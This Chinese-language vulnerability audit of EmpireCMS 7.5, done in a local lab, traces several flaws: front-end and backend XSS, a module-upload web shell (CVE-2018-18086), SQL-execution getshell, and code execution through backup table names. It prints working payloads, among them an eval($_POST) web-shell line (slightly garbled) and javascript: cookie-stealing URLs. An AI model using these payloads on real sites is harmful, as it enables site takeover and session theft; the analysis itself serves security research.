审计环境
PHP7.0
Apache
PHPSTORM
环境上没遇到啥问题
前台XSS
漏洞分析
需要开启会员空间
问题代码在
/e/ViewImg/index.html
,Request获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输出。跟进
Request
通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。
例如,
index.html?url=javascript:alert(document.cookie)
,经过Request函数处理就变成javascript:alert(document.cookie)
url地址经过Request函数处理之后,然后把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值。
所以构造payload:
url=javascript:alert(/xss/)
漏洞复现
访问
http://172.16.43.200:9093/e/ViewImg/index.html?url=javascript:alert(/xss/)
,点击图片触发。
后台文件上传getshell(CVE-2018-18086 )
漏洞分析
EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的
/e/class/moddofun.php
的LoadInMod
函数存在安全漏洞,未对变量$file
做任何处理,直接上传,接着就包含该文件。对此我们直接全局寻找
LoadInMod
的调用,在e/admin/ecmsmod.php
漏洞复现
新建一个
1.mod
的文件,内容为1
"../data/getshell.php","<?php @eval(\$_POST[a]); ?>"); file_put_contents(
上传成功后,即可得到shell
后台SQL执行getshell
漏洞分析
漏洞位于
e/admin/db/DoSql.php
22行DoExecSql
方法$query
未经过任何处理就执行了ClearAddsData
方法根据是否开启魔术引号来转义数据,这里我们不用管。跟进RepSqlTbpre
方法,只做了前缀替换。继续跟进
DoRunQuery
方法,替换\r
,按;
分割语句,然后就执行语句。漏洞利用
可以利用SQL语句写入shell,但利用难度很高。
首先需要开启mysql的
secure_file_priv
默认是关闭的,修改my.conf文件, 在[mysqld] 下添加条目:secure_file_priv =
,保存之后,然后重启mysql。之后需要知道网站的绝对路径
如果是站库分离影响实在有限。
后台XSS
漏洞分析
问题出在
e/admin/openpage/AdminPage.php
,获取mainfile
,leftfile
变量后,经过hRepPostStr
处理后输出到页面跟进
hRepPostStr
方法跟进
ehtmlspecialchars
,以ENT_QUOTES
模式(既转换双引号也转换单引号),转义HTML实体跟进
CkPostStrChar
方法,结尾不能为\\
。最后跟进
AddAddsData
方法,如果没有开启magic_quotes_gpc
函数,就使用addslashes
对参数中的特殊字符进行转义处理漏洞利用
访问
http://172.16.43.200:9093/e/admin/openpage/AdminPage.php?ehash_7NYw5=tJmMRJnmeKBHOPaBU04H&mainfile=javascript:alert(document.cookie)
后台任意代码执行
漏洞分析
e/admin/ebak/phome.php
接收备份数据库传递的参数,然后传递给Ebak_DoEbak
方法中跟进
Ebak_DoEbak
,数据库表名传递给变量$tablename
再经过
RepPostVar
处理,替换特殊字符,转义,防火墙过滤(默认上没有过滤字符)经过字符拼接赋值给
$d_table
,再拼接进$string
最后写入php文件。漏洞利用
抓包修改
tablename
字段访问
config.php